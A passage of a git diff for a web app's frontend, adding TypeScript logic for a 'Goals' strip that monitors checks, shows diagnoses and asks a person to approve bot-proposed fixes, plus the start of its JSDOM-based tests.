+ else if (!f.checks.some((c) => c.required)) e.checks = 'Keep at least one check required: OK needs one.';
+ if (f.budget.trim() && !/^\d+$/.test(f.budget.trim())) e.budget = 'Type a whole number of tokens, or leave it blank for no limit.';
+ const rows: Record<string, string> = {};
+ for (const r of f.checks) {
+ const err = checkRowError(r);
+ if (err) rows[r.key] = err;
+ }
+ if (Object.keys(rows).length) e.rows = rows;
+ return e;
+}
+
+export const hasFormErrors = (e: GoalFormErrors) => !!(e.title || e.kwantId || e.checks || e.budget || (e.rows && Object.keys(e.rows).length));
+
+export function formFromGoal(g: Goal | null): GoalFormState {
+ if (!g) return { title: '', description: '', kwantId: '', ...GOAL_DEFAULTS, checks: [emptyCheckRow()] };
+ return {
+ title: g.title,
+ description: g.description,
+ kwantId: g.kwant_id ?? '',
+ interval: Math.min(INTERVAL_MAX, Math.max(INTERVAL_MIN, g.interval_minutes || 60)),
+ mode: g.mode,
+ priority: g.priority,
+ confirmFailures: Math.min(5, Math.max(1, g.confirm_failures || GOAL_DEFAULTS.confirmFailures)),
+ budget: g.budget_tokens > 0 ? String(g.budget_tokens) : '',
+ checks: g.checks.length ? g.checks.map(checkRowFrom) : [emptyCheckRow()],
+ };
+}
+
+export function draftFromForm(f: GoalFormState): GoalDraft {
+ return {
+ title: f.title.trim(),
+ description: f.description.trim(),
+ kwant_id: f.kwantId || null,
+ interval_minutes: f.interval,
+ mode: f.mode,
+ priority: f.priority,
+ confirm_failures: f.confirmFailures,
+ budget_tokens: f.budget.trim() ? Number(f.budget.trim()) : 0,
+ checks: f.checks.map(checkRowToDraft),
+ };
+}
+
+// ---------------------------------------------------------------------------
+// Links from the rest of the board
+
+/** Open a goal's drawer from anywhere on the board (the "Goal: <title>" chip on a mission). */
+export const OPEN_GOAL_EVENT = 'kwnt:open-goal';
+export const openGoal = (id: string) => window.dispatchEvent(new CustomEvent(OPEN_GOAL_EVENT, { detail: { id } }));
+
+/**
+ * A mission's goal: `goal_link {id, title}`, or `goal` when the server sends it as an object. `goal` as text
+ * is the mission's own goal line (0.6.x), not a link.
+ */
+export function missionGoalLink(m: { goal_link?: unknown; goal?: unknown }): { id: string; title: string } | null {
+ for (const v of [m.goal_link, m.goal]) {
+ if (v && typeof v === 'object') {
+ const r = rec(v);
+ const id = s(r.id) ?? s(r.goal_id);
+ if (id) return { id, title: s(r.title) ?? 'Goal' };
+ }
+ }
+ return null;
+}
+
+/** "21:40" today, "Nov 1, 21:40" before that. */
+export function clockText(iso: string | null, now: number = Date.now()): string | null {
+ if (!iso) return null;
+ const d = new Date(iso);
+ if (Number.isNaN(d.getTime())) return null;
+ const time = d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' });
+ return now - d.getTime() > 20 * 3600_000 ? `${d.toLocaleDateString([], { month: 'short', day: 'numeric' })}, ${time}` : time;
+}
+
+// ---------------------------------------------------------------------------
+// The one decision per incident (plan v2 B.0 rule 2)
+
+export interface Diagnosis {
+ /** "HTTP status = 200, observed 503". */
+ observed: string | null;
+ /** When the broken check was seen, as ISO time. */
+ since: string | null;
+ cause: string | null;
+ proposed_fix: string | null;
+ /** The bot's report when it has no cause/fix split. Untrusted: text only. */
+ summary: string | null;
+}
+
+/** How far the bot's look into an incident has got: no report yet, a report, or it couldn't finish. */
+export type DiagnosisPhase = 'looking' | 'ready' | 'failed';
+
+export type GoalDecision =
+ | { kind: 'approve' }
+ /** One decision per incident. `taskId` is the held Fix; without a report (`looking`) there are no buttons yet. */
+ | { kind: 'run'; taskId: string | null; phase: DiagnosisPhase; diagnosis: Diagnosis }
+ /** The person chose Not now: not a request, so nothing asks for them (B.0 rule 1). */
+ | { kind: 'declined'; taskId: string | null; at: string | null }
+ | { kind: 'needs_you'; text: string }
+ | null;
+
+/** Past this long without a report or a failure, the bot is taken to have stopped looking (D5). */
+export const LOOK_TIMEOUT_MS = 30 * 60_000;
+
+/** The check that broke the goal: a failed required check, else any required check not OK. */
+export function brokenCheck(g: Pick<Goal, 'checks' | 'interval_minutes'>, now: number = Date.now()): GoalCheck | null {
+ const req = g.checks.filter((c) => c.required);
+ return req.find((c) => checkLook(c, g.interval_minutes, now).verdict === 'not_met') ?? null;
+}
+
+/** Desired vs observed in one line: "HTTP status = 200 · observed 503". */
+export function desiredVsObserved(c: GoalCheck): string {
+ const seen = checkObserved(c);
+ return seen ? `${checkDesired(c)} · observed ${seen}` : checkDesired(c);
+}
+
+export function goalDiagnosis(g: Goal, events: GoalEvent[] = [], now: number = Date.now()): Diagnosis {
+ const c = brokenCheck(g, now);
+ const m = g.open_mission;
+ const own = g.diagnosis;
+ const inv = [...events].reverse().find((e) => e.kind === 'investigated');
+ const d = inv?.detail ?? {};
+ const broke = [...events].reverse().find((e) => e.kind === 'not_met');
+ // goal.diagnosis, then open_mission.diagnosis, then the `investigated` event (D4).
+ const pick = (k: 'summary' | 'cause' | 'proposed_fix', ...alt: string[]) => own?.[k] ?? m?.[k] ?? alt.map((a) => s(d[a])).find(Boolean) ?? null;
+ return {
+ observed: c ? `${goalCheckName(c)}: ${desiredVsObserved(c)}` : null,
+ // When it broke, not when it was last seen: no time at all beats a wrong "since 4 min ago".
+ since: broke?.created_at ?? m?.opened_at ?? g.open_fix_task?.created_at ?? null,
+ cause: pick('cause', 'cause', 'likely_cause'),
+ proposed_fix: pick('proposed_fix', 'proposed_fix', 'fix'),
+ summary: pick('summary', 'summary', 'report'),
+ };
+}
+
+/**
+ * Where the bot's look into the open incident stands (D5): a report (or an `investigated` event) means ready;
+ * an event that says it failed, or 30 minutes since the mission opened with neither, means it couldn't finish.
+ */
+export function diagnosisPhase(g: Goal, events: GoalEvent[] = [], now: number = Date.now()): DiagnosisPhase {
+ const inv = [...events].reverse().find((e) => e.kind === 'investigated');
+ const failed = !!inv && (inv.detail.failed === true || inv.detail.failed === 'true' || inv.detail.status === 'failed');
+ if (failed) return 'failed';
+ const d = goalDiagnosis(g, events, now);
+ if (d.cause || d.proposed_fix || d.summary || inv) return 'ready';
+ const opened = Date.parse(g.open_mission?.opened_at ?? '');
+ return !Number.isNaN(opened) && now - opened > LOOK_TIMEOUT_MS ? 'failed' : 'looking';
+}
+
+/** The task a "Fix it" releases: the held remediation's run task, else a held v1 fix task. */
+export function heldFixTask(g: Pick<Goal, 'open_mission' | 'open_fix_task'>): string | null {
+ if (g.open_mission && isOpenMission(g.open_mission) && g.open_mission.run_task_id) return g.open_mission.run_task_id;
+ if (g.open_fix_task?.held) return g.open_fix_task.id;
+ return null;
+}
+
+/** The server's own word for the goal's status (the strip may have swapped `status` for what it draws). */
+export const serverStatus = (g: Pick<Goal, 'status' | 'raw_status'>): string => g.raw_status ?? g.status;
+
+/**
+ * Does a live task or mission change belong to the fix of one of these goals? The server announces a fix being
+ * claimed or finished as `task_updated` / `mission_updated` only, never `goal_updated`, so the strip reloads on these.
+ * `released`: tasks this person just pressed Fix it on (the goal no longer lists them as held).
+ */
+export function liveTouchesGoalFix(
+ goals: Pick<Goal, 'id' | 'open_mission' | 'open_fix_task'>[],
+ ev: { taskId?: string | null; missionId?: string | null; goalId?: string | null },
+ released: ReadonlySet<string> = new Set(),
+): boolean {
+ if (ev.taskId && released.has(ev.taskId)) return true;
+ return goals.some((g) => {
+ if (ev.goalId && g.id === ev.goalId) return true;
+ const m = g.open_mission;
+ if (m && (ev.taskId && m.run_task_id === ev.taskId || ev.missionId && m.id === ev.missionId)) return true;
+ return !!ev.taskId && g.open_fix_task?.id === ev.taskId;
+ });
+}
+
+/** needs_you / fix_ready, a remediation mission is open, and its run task is no longer held: Fix it was pressed. */
+const fixReleased = (g: Goal): boolean =>
+ serverStatus(g) === 'needs_you' && (g.status_reason ?? '').trim().toLowerCase() === 'fix_ready' && !!g.open_mission && isOpenMission(g.open_mission) && !heldFixTask(g);
+
+/**
+ * What the person is asked, if anything. One per goal: approve a draft, decide on the incident, or the Needs
+ * you reason. A decision the person already made (Not now) is `declined`: shown, but not a request.
+ * `notNowTask`: the held task this person already said Not now to on this device.
+ */
+export function goalDecision(g: Goal, events: GoalEvent[] = [], now: number = Date.now(), notNowTask: string | null = null): GoalDecision {
+ const status = serverStatus(g);
+ if (status === 'draft') return { kind: 'approve' };
+ const task = heldFixTask(g);
+ if (status === 'needs_you' && (g.status_reason ?? '').trim().toLowerCase() === 'declined') return { kind: 'declined', taskId: task, at: g.updated_at || null };
+ // The server reports a held fix as needs_you / fix_ready (suggest mode, the look is done): that is the
+ // same decision as a failing goal with a held fix, so it gets Fix it / Not now / Always fix.
+ if (status === 'needs_you' && (g.status_reason ?? '').trim().toLowerCase() === 'fix_ready' && task) {
+ if (notNowTask === task) return { kind: 'declined', taskId: task, at: null };
+ // The server says the look is over, so the 30-minute timeout doesn't apply; only an event that says it failed does.
+ const inv = [...events].reverse().find((e) => e.kind === 'investigated');
+ const failed = !!inv && (inv.detail.failed === true || inv.detail.failed === 'true' || inv.detail.status === 'failed');
+ return { kind: 'run', taskId: task, phase: failed ? 'failed' : 'ready', diagnosis: goalDiagnosis(g, events, now) };
+ }
+ // fix_ready with the task no longer held: it was released (Fix it) and waits to be claimed. Nothing to ask.
+ if (fixReleased(g)) return null;
+ if (status === 'needs_you') return { kind: 'needs_you', text: needsYouText(g.status_reason) };
+ if (status !== 'not_met' && status !== 'fixing') return null;
+ // A fix that actually runs has no decision: fix mode (kwant fixes on its own) or a task already released.
+ if (g.mode === 'fix' || (!task && !g.open_mission)) return null;
+ if (task && notNowTask === task) return { kind: 'declined', taskId: task, at: null };
+ const phase = diagnosisPhase(g, events, now);
+ // No held fix and a report already in (or given up on): the fix was released and is running.
+ if (!task && phase !== 'looking') return null;
+ return { kind: 'run', taskId: task, phase, diagnosis: goalDiagnosis(g, events, now) };
+}
+
+/**
+ * The status the strip draws (D3, D6): everything `shownStatus` does, plus
+ * - `needs_you` for `declined` reads Failing: the person chose it, so it isn't a request;
+ * - in suggest mode with the Fix held, Failing while the bot looks and Needs you once the decision is ready;
+ * Fixing only while a fix actually runs (fix mode, or after Fix it).
+ */
+export function displayStatus(g: Goal, events: GoalEvent[] = [], now: number = Date.now(), notNowTask: string | null = null): string {
+ const shown = shownStatus({ ...g, status: serverStatus(g) }, now);
+ if (shown !== 'needs_you' && shown !== 'not_met' && shown !== 'fixing') return shown;
+ const d = goalDecision({ ...g, status: shown, raw_status: undefined }, events, now, notNowTask);
+ if (d?.kind === 'declined') return 'not_met';
+ if (fixReleased({ ...g, raw_status: undefined, status: shown })) return 'fixing';
+ if (d?.kind === 'run' && g.mode === 'suggest') return d.taskId && d.phase !== 'looking' ? 'needs_you' : 'not_met';
+ return shown;
+}
+
+/** "Restore: kwant.si is up · Active" for the goal's current work, or null. */
+export function currentWorkText(g: Pick<Goal, 'open_mission' | 'open_fix_task' | 'status' | 'waiting_title' | 'waiting_for'>, titles: Record<string, string> = {}): string | null {
+ if (g.status === 'waiting') {
+ const other = g.waiting_title ?? (g.waiting_for ? titles[g.waiting_for] : null);
+ return other ? `Waiting for “${other}” to finish its fix` : 'Waiting for another fix in the same folder';
+ }
+ const m = g.open_mission && isOpenMission(g.open_mission) ? g.open_mission : null;
+ if (m) {
+ if (m.run_task_id) return `${m.title} · fix ready, waiting for your OK`;
+ const try_ = m.attempt > 1 ? ` · attempt ${m.attempt}` : '';
+ return `${m.title}${m.status ? ` · ${missionStatusLabel(m.status).label}` : ''}${try_}`;
+ }
+ const t = g.open_fix_task;
+ if (t) return t.held ? `${t.title} · fix ready, waiting for your OK` : `${t.title} · ${stateLabel(t.state).label}`;
+ return null;
+}
+
+/** The strip's one line (plan v2 B.0 rule 5): "3 goals OK · checked 4 min ago", or what wants a look first. */
+export function stripSummary(goals: Goal[], now: number = Date.now()): string {
+ if (!goals.length) return '';
+ const count: Record<string, number> = {};
+ let last = 0;
+ for (const g of goals) {
+ const st = shownStatus(g, now);
+ count[st] = (count[st] ?? 0) + 1;
+ const at = g.last_checked_at ? Date.parse(g.last_checked_at) : NaN;
+ if (!Number.isNaN(at) && at > last) last = at;
+ }
+ const n = (k: string) => count[k] ?? 0;
+ const parts: string[] = [];
+ const add = (k: string, one: string, many = one) => n(k) && parts.push(`${n(k)} ${n(k) === 1 ? one : many}`);
+ add('needs_you', 'needs you', 'need you');
+ add('not_met', 'failing');
+ add('fixing', 'fixing');
+ add('waiting', 'waiting');
+ add('draft', 'draft to approve', 'drafts to approve');
+ add('unknown', 'can’t check', 'can’t check');
+ const ok = n('met');
+ if (ok) parts.push(parts.length ? `${ok} OK` : `${ok} ${ok === 1 ? 'goal' : 'goals'} OK`);
+ add('checking', 'checking');
+ add('paused', 'paused');
+ if (last && !parts.some((p) => /fail|need|fix|draft/.test(p))) parts.push(`checked ${ago(new Date(last).toISOString(), now)}`);
+ return parts.join(' · ');
+}
+
+// ---------------------------------------------------------------------------
+// Ordering: what needs the person first, drafts next, then the rest by name.
+
+const ORDER: Record<string, number> = { needs_you: 0, not_met: 1, fixing: 2, waiting: 3, draft: 4, unknown: 5, checking: 6, met: 7, paused: 8 };
+export function sortGoals(goals: Goal[]): Goal[] {
+ return [...goals].sort((a, b) => (ORDER[a.status] ?? 5) - (ORDER[b.status] ?? 5) || a.priority - b.priority || a.title.localeCompare(b.title));
+}
+
+/** Plan v2 B.0 rule 5: cards show only for goals that want a look; the rest fold into the one-line summary. */
+export const wantsLook = (status: string) => status !== 'met' && status !== 'paused' && status !== 'checking';
+
+export function goalCounts(goals: Goal[]): { met: number; attention: number; drafts: number; total: number } {
+ let met = 0;
+ let attention = 0;
+ let drafts = 0;
+ for (const g of goals) {
+ if (g.status === 'met') met += 1;
+ else if (g.status === 'draft') drafts += 1;
+ else if (g.status === 'not_met' || g.status === 'needs_you') attention += 1;
+ }
+ return { met, attention, drafts, total: goals.length };
+}
+
+/** Check now is allowed on every approved goal (paused included, Rigel Q10), not on a draft or while it runs. */
+export const canCheckNow = (g: Pick<Goal, 'status' | 'checking_since'>) => g.status !== 'draft' && g.status !== 'checking' && !g.checking_since;
+
+// ---------------------------------------------------------------------------
+// API (person only; every write takes an Idempotency-Key on POST)
+
+export class GoalError extends MissionError {}
+
+function goalError(status: number, answer: unknown): GoalError {
+ const a = rec(answer);
+ const err = s(a.error);
+ const code = s(a.code);
+ if (status === 403) return new GoalError(err && !/person/i.test(err) ? err : 'Only you can change goals.', 403, code);
+ if (status === 404 && !err) return new GoalError('This server doesn’t have Goals yet. Update the app and try again.', 404, code);
+ if (status === 409 && !err) return new GoalError('Someone changed this goal just now. It has been reloaded; try again.', 409, code ?? 'conflict');
+ return new GoalError(err ? err.replace(/^\w/, (c) => c.toUpperCase()) : `Something went wrong (HTTP ${status}).`, status, code);
+}
+
+async function call(url: string, method = 'GET', body?: unknown, key?: string): Promise<unknown> {
+ let res: Response;
+ const headers: Record<string, string> = {};
+ if (body !== undefined) headers['Content-Type'] = 'application/json';
+ if (key) headers['Idempotency-Key'] = key;
+ try {
+ res = await personFetch(url, {
+ method,
+ cache: 'no-store',
+ headers: Object.keys(headers).length ? headers : undefined,
+ body: body === undefined ? undefined : JSON.stringify(body),
+ });
+ } catch (e) {
+ if (e instanceof PersonCancelledError) throw new GoalError(e.message, 401);
+ throw new GoalError('Couldn’t reach the server. Check your connection and try again.', 0);
+ }
+ const answer = await res.json().catch(() => null);
+ if (res.ok) return answer;
+ throw goalError(res.status, answer);
+}
+
+const enc = encodeURIComponent;
+const needGoal = (v: unknown): Goal => {
+ const g = parseGoal(rec(v).goal ?? v);
+ if (!g) throw new GoalError('The server sent a goal this app can’t read. Reload and try again.', 500);
+ return g;
+};
+const needDetail = (v: unknown): GoalDetail => {
+ const d = parseGoalDetail(v);
+ if (!d) throw new GoalError('The server sent a goal this app can’t read. Reload and try again.', 500);
+ return d;
+};
+
+export const goalsApi = {
+ /** The space comes from the app's space wrapper (`?space=`), like the board's other reads. */
+ list: () => call('/api/goals').then(parseGoalList),
+ get: (id: string) => call(`/api/goals/${enc(id)}`).then(needDetail),
+ create: (d: GoalDraft, key: string) => call('/api/goals', 'POST', d, key).then(needGoal),
+ update: (id: string, patch: Partial<GoalDraft> & { paused?: boolean; version?: number }) => call(`/api/goals/${enc(id)}`, 'PATCH', patch).then(needGoal),
+ approve: (id: string, key: string) => call(`/api/goals/${enc(id)}/approve`, 'POST', {}, key).then(needGoal),
+ check: (id: string, key: string) => call(`/api/goals/${enc(id)}/check`, 'POST', {}, key).then((v) => parseGoal(rec(v).goal ?? v)),
+ remove: (id: string) => call(`/api/goals/${enc(id)}`, 'DELETE').then(() => true),
+ /** Plain-language drafting: the bot looks at the project and proposes checks. The draft arrives later, through goal_updated. */
+ draft: (body: { space_id: string | null; kwant_id: string; text: string }, key: string) =>
+ call('/api/goals/draft', 'POST', body, key).then((v) => parseGoal(rec(v).goal ?? v)),
+ /** "Keep this true" on a verified task: the server copies its title and outcome checks into a goal. */
+ fromTask: (taskId: string, key: string) => call('/api/goals', 'POST', { from_task: taskId }, key).then(needGoal),
+ /** "Not now": holds on every device and stops the asking for this incident. Silent; returns the goal. */
+ notNow: (id: string, key: string) => call(`/api/goals/${enc(id)}/remediation/not-now`, 'POST', {}, key).then(needGoal),
+ /** "Always fix this goal": the goal switches to fix mode; the held fix may or may not be released by the server. */
+ alwaysFix: (id: string, key: string) => call(`/api/goals/${enc(id)}/remediation/always-fix`, 'POST', {}, key).then(needGoal),
+ /** Release the held fix ("Fix it"). The same key never starts it twice. */
+ runFix: (taskId: string, key: string) => missionsApi.runHeld(taskId, key).then(() => true),
+};
+export type GoalsApi = typeof goalsApi;
+
+const SPEC_NAMES: Record<string, string> = {
+ pointer: 'Value at',
+ json_pointer: 'Value at',
+ command: 'Command',
+ url: 'Address',
+ expect_status: 'Answer code',
+ contains: 'Page shows',
+ path: 'File',
+ text: 'Contains',
+ sha256: 'Fingerprint',
+ timeout_secs: 'Time limit (seconds)',
+};
+
+/** Every field of a check's spec, verbatim, for a draft the person approves: nothing summarised away. */
+export function specLines(spec: Record<string, unknown>): { name: string; value: string }[] {
+ return Object.entries(spec ?? {}).map(([k, v]) => ({ name: SPEC_NAMES[k] ?? humanize(k), value: typeof v === 'string' ? v : JSON.stringify(v) }));
+}
diff --git a/frontend/src/missions.ts b/frontend/src/missions.ts
index 0edf237b..5973b171 100644
--- a/frontend/src/missions.ts
+++ b/frontend/src/missions.ts
@@ -41,6 +41,8 @@ export interface Mission {
updated_at: string;
finished_at: string | null;
counts: StateCounts;
+ /** Goals (0.6.5): the goal this mission was opened to fix. Older servers leave it out. */
+ goal_link?: { id: string; title: string } | null;
}
export interface NeedsYouItem {
@@ -1605,7 +1607,9 @@ export type MissionEvent =
/** Flight School C4: a bot asked for a tier, or a proposal was granted, declined or went stale. */
| { type: 'capability_changed'; data: { capability: CapabilityChangedEvent } }
| { type: 'fact_changed'; data: { fact: FactChangedEvent } }
- | { type: 'fact_dispute'; data: { dispute: FactDisputeEvent } };
+ | { type: 'fact_dispute'; data: { dispute: FactDisputeEvent } }
+ /** Goals (0.6.5): a goal changed status or was checked, edited, approved or deleted. */
+ | { type: 'goal_updated'; data: { id: string; status: string | null } };
const bus = typeof EventTarget !== 'undefined' ? new EventTarget() : null;
diff --git a/frontend/tests/goals.test.mjs b/frontend/tests/goals.test.mjs
new file mode 100644
index 00000000..4cb402a7
--- /dev/null
+++ b/frontend/tests/goals.test.mjs
@@ -0,0 +1,875 @@
+// Goals, 0.6.5 (smart-results-goals/plan.md §B): the Mission board's Goals strip. Empty, it is one line and
+// "New goal", so the columns stay in view. Each goal is a two-line row (status, and the one thing worth
+// knowing: a proposal, the open fix task, the failing check, or the schedule); the drawer has the checks,
+// tokens spent, history and every button. Unknown is never drawn like Met. A bot's draft shows its checks
+// verbatim in the drawer, next to Approve / Edit / Dismiss. There is no setting; on a server without Goals,
+// nothing shows.
+import assert from 'node:assert/strict';
+import test from 'node:test';
+import { readFileSync } from 'node:fs';
+import { JSDOM } from 'jsdom';
+import { loadBundled } from './bundle.mjs';
+
+const dom = new JSDOM('<!doctype html><html><body></body></html>', { url: 'http://localhost/s/s1', pretendToBeVisual: true });
+const g = globalThis;
+for (const k of ['window', 'document', 'navigator', 'HTMLElement', 'Node', 'Event', 'KeyboardEvent', 'MouseEvent', 'requestAnimationFrame', 'cancelAnimationFrame', 'getComputedStyle', 'localStorage', 'sessionStorage']) {
+ if (!(k in dom.window)) continue;
+ Object.defineProperty(g, k, { value: dom.window[k], configurable: true, writable: true });
+}
+
+const b = await loadBundled(`
+ import React from 'react';
+ import { renderToStaticMarkup } from 'react-dom/server.browser';
+ import { GoalsStrip, GoalRow, GoalDetailBody } from './src/components/GoalsStrip';
+ export { default as React } from 'react';
+ export { createRoot } from 'react-dom/client';
+ export { GoalsStrip, GoalRow, GoalDetailBody, GoalForm, GoalStatusPill, GoalTimeline, KeepTrueBox, declinedText } from './src/components/GoalsStrip';
+ export * from './src/goals';
+ export { emitMission, MissionError } from './src/missions';
+ export const stripHtml = (p) => renderToStaticMarkup(React.createElement(GoalsStrip, p));
+ export const rowHtml = (p) => renderToStaticMarkup(React.createElement(GoalRow, { onOpen() {}, ...p }));
+ export const detailHtml = (p) => renderToStaticMarkup(React.createElement(GoalDetailBody, { busy: false, error: null, onAction() {}, ...p }));
+`);
+
+const text = (html) => html.replace(/<[^>]+>/g, ' ').replace(/&#x27;|&#39;/g, "'").replace(/&quot;/g, '"').replace(/&lt;/g, '<').replace(/&gt;/g, '>').replace(/&amp;/g, '&').replace(/\s+/g, ' ').trim();
+const settle = async (ms = 0) => {
+ if (ms) await new Promise((r) => setTimeout(r, ms));
+ for (let i = 0; i < 10; i++) await new Promise((r) => setTimeout(r, 0));
+};
+// Plan v2 B.0: the strip folds to one line while all is well; these tests mostly look at the open list.
+localStorage.setItem('kwnt.goals.open', '1');
+const NOW = Date.parse('2026-11-02T12:00:00Z');
+const minsAgo = (m) => new Date(NOW - m * 60_000).toISOString();
+const minsAhead = (m) => new Date(NOW + m * 60_000).toISOString();
+const names = { k_sandy: 'Sandy', k_cody: 'Cody' };
+
+const check = (over = {}) => ({
+ id: 'c1', label: 'Site answers', kind: 'http', spec: { url: 'https://kwant.si', expect_status: 200 }, required: true, freshness_minutes: null,
+ latest: { status: 'passed', verdict: 'met', excerpt: 'HTTP 200', observed_at: minsAgo(10) }, ...over,
+});
+const goal = (over = {}) =>
+ b.parseGoal({
+ id: 'g1', space_id: 's1', title: 'The site stays up', description: 'kwant.si answers.', kwant_id: 'k_cody', status: 'met', mode: 'suggest',
+ interval_minutes: 60, created_by: 'person', last_checked_at: minsAgo(10), next_check_at: minsAhead(50), created_at: minsAgo(600), updated_at: minsAgo(10),
+ checks: [check()], open_mission: null, ...over,
+ });
+
+// A server that remembers what was done to a goal, so the drawer's re-read agrees with the button's answer.
+function fakeApi(list, over = {}) {
+ const calls = [];
+ let n = 0;
+ const store = list.map((x) => ({ ...x }));
+ const find = (id) => store.find((y) => y.id === id);
+ const set = (id, patch) => Object.assign(find(id) ?? {}, patch);
+ return {
+ calls,
+ list: async () => (calls.push(['list']), store.map((x) => ({ ...x }))),
+ get: async (id) => {
+ calls.push(['get', id]);
+ const x = find(id) ?? goal({ id });
+ return b.parseGoalDetail({
+ goal: x, checks: x.checks, spent_tokens: 12_000,
+ events: [
+ { id: 'e1', kind: 'created', actor: 'person', detail: {}, created_at: minsAgo(600) },
+ { id: 'e2', kind: 'checked', actor: 'kwant', detail: { verdict: 'not_met', passed: 0, total: 1 }, created_at: minsAgo(120) },
+ { id: 'e3', kind: 'fix_opened', actor: 'kwant', detail: { task_id: 't_fix', task_title: 'Fix: The site stays up: Site answers failing' }, created_at: minsAgo(119) },
+ { id: 'e4', kind: 'met', actor: 'kwant', detail: {}, created_at: minsAgo(10) },
+ ],
+ fix_tasks: [{ id: 't_fix', title: 'Fix: The site stays up: Site answers failing', state: 'verified', created_at: minsAgo(119) }],
+ });
+ },
+ create: async (d, key) => (calls.push(['create', d, key]), goal({ id: `new${++n}`, title: d.title, status: 'checking', checks: [] })),
+ update: async (id, patch) => (calls.push(['update', id, patch]), goal({ ...set(id, { status: patch.paused ? 'paused' : 'unknown' }) })),
+ approve: async (id, key) => (calls.push(['approve', id, key]), goal({ ...set(id, { status: 'checking' }) })),
+ check: async (id, key) => (calls.push(['check', id, key]), set(id, { status: 'checking', checking_since: minsAgo(0) }), null),
+ remove: async (id) => (calls.push(['remove', id]), store.splice(store.indexOf(find(id)), 1), true),
+ ...over,
+ };
+}
+
+async function mount(Component, props) {
+ const host = document.createElement('div');
+ document.body.appendChild(host);
+ const root = b.createRoot(host);
+ root.render(b.React.createElement(Component, props));
+ await settle();
+ const q = (sel) => host.querySelector(sel);
+ return {
+ host,
+ q,
+ text: () => document.body.textContent.replace(/\s+/g, ' '),
+ click: async (sel) => {
+ const el = q(sel);
+ assert.ok(el, `no ${sel}`);
+ el.dispatchEvent(new dom.window.MouseEvent('click', { bubbles: true }));
+ await settle();
+ },
+ type: async (sel, value) => {
+ const el = q(sel);
+ assert.ok(el, `no ${sel}`);
+ const proto = el.tagName === 'TEXTAREA' ? dom.window.HTMLTextAreaElement.prototype : el.tagName === 'SELECT' ? dom.window.HTMLSelectElement.prototype : dom.window.HTMLInputElement.prototype;
+ Object.getOwnPropertyDescriptor(proto, 'value').set.call(el, value);
+ el.dispatchEvent(new dom.window.Event(el.tagName === 'SELECT' ? 'change' : 'input', { bubbles: true }));
+ await settle();
+ },
+ open: async (id) => {
+ const el = q(`[data-goal="${id}"] [data-goal-open]`);
+ assert.ok(el, `no row ${id}`);
+ el.focus();
+ el.dispatchEvent(new dom.window.MouseEvent('click', { bubbles: true }));
+ await settle();
+ assert.ok(q(`[data-goal-detail="${id}"]`), `drawer for ${id}`);
+ },
+ done: () => {
+ root.unmount();
+ host.remove();
+ },
+ };
+}
+
+test('still loading, or on a server without Goals, the board shows nothing new', async () => {
+ const api = fakeApi([goal()]);
+ // The strip waits for the list, and shows nothing until it loads.
+ assert.equal(b.stripHtml({ names, now: NOW, initial: { goals: null }, api }), '');
+ assert.notEqual(b.stripHtml({ names, now: NOW, initial: { goals: [] }, api }), '');
+
+ const old = fakeApi([], { list: async () => { throw new b.GoalError('This server doesn’t have Goals yet.', 404); } });
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api: old });
+ assert.equal(m.host.innerHTML.length, 0, 'an older server: nothing at all');
+ m.done();
+});
+
+test('the empty state is one line and New goal, with no list to push the columns down', () => {
+ const html = b.stripHtml({ names, now: NOW, initial: { goals: [] }, api: fakeApi([]) });
+ const t = text(html);
+ assert.match(t, /^Goals What should stay true\? Say it in a sentence and a bot drafts the checks\. New goal$/);
+ assert.match(html, /data-goals-empty/);
+ assert.doesNotMatch(html, /data-goals-toggle/, 'nothing to show or hide');
+ assert.doesNotMatch(html, /<ul/);
+ assert.doesNotMatch(html, /[\u{1F300}-\u{1FAFF}]/u, 'no emoji in UI copy');
+});
+
+test('Unknown is never drawn like Met: its own word, colour, outline and icon', () => {
+ const met = b.goalStatusLook('met');
+ const unknown = b.goalStatusLook('unknown');
+ assert.equal(met.label, 'OK');
+ assert.equal(unknown.label, 'Can’t check');
+ assert.notEqual(unknown.tone, met.tone);
+ assert.notEqual(unknown.icon, met.icon);
+ // A status this build doesn't know reads as Unknown, never as Met.
+ assert.deepEqual(b.goalStatusLook('something_new'), unknown);
+ assert.equal(b.parseGoal({ id: 'x' }).status, 'unknown', 'no status from the server is Unknown');
+
+ const html = b.stripHtml({ names, now: NOW, initial: { goals: [goal({ id: 'a', status: 'met' }), goal({ id: 'b', status: 'unknown' })] }, api: fakeApi([]) });
+ const pill = (status) => html.match(new RegExp(`<span[^>]*data-goal-status="${status}"[^>]*>.*?</span>`))[0];
+ assert.match(pill('met'), /emerald/);
+ assert.match(pill('unknown'), /border-dashed/);
+ assert.doesNotMatch(pill('unknown'), /emerald/);
+ assert.match(pill('unknown'), /lucide-circle-help|circle-question/);
+ assert.doesNotMatch(pill('unknown'), /circle-check/);
+ assert.match(text(pill('unknown')), /^Can’t check$/);
+
+ for (const s of ['draft', 'checking', 'met', 'not_met', 'fixing', 'unknown', 'needs_you', 'paused']) {
+ const look = b.goalStatusLook(s);
+ assert.ok(look.label && look.hint, s);
+ if (s !== 'met') assert.notEqual(look.tone === 'emerald' && look.icon === 'met', true, `${s} must not look Met`);
+ }
+});
+
+test('a check reads Passed, Failed, Couldn’t run, Out of date or Not checked yet; only Passed counts toward Met', () => {
+ assert.deepEqual(b.checkLook(check(), 60, NOW), { label: 'Passed', tone: 'emerald', verdict: 'met' });
+ assert.equal(b.checkLook(check({ latest: { status: 'failed', verdict: 'not_met', excerpt: '', observed_at: minsAgo(5) } }), 60, NOW).label, 'Failed');
+ const err = b.checkLook(check({ latest: { status: 'error', verdict: 'unknown', excerpt: '', observed_at: minsAgo(5) } }), 60, NOW);
+ assert.equal(err.label, 'Couldn’t run');
+ assert.equal(err.verdict, 'unknown');
+ // Stale: older than freshness (default twice the interval) is Unknown, even when it passed.
+ const stale = b.checkLook(check({ latest: { status: 'passed', verdict: 'met', excerpt: '', observed_at: minsAgo(121) } }), 60, NOW);
+ assert.deepEqual(stale, { label: 'Out of date', tone: 'zinc', verdict: 'unknown' });
+ assert.equal(b.checkLook(check({ freshness_minutes: 5, latest: { status: 'passed', verdict: 'met', excerpt: '', observed_at: minsAgo(6) } }), 60, NOW).label, 'Out of date');
+ assert.equal(b.checkLook(check({ latest: null }), 60, NOW).label, 'Not checked yet');
+
+ const row = text(b.rowHtml({ goal: goal({ status: 'unknown', checks: [check({ latest: { status: 'passed', verdict: 'met', excerpt: '', observed_at: minsAgo(200) } })] }), names, now: NOW }));
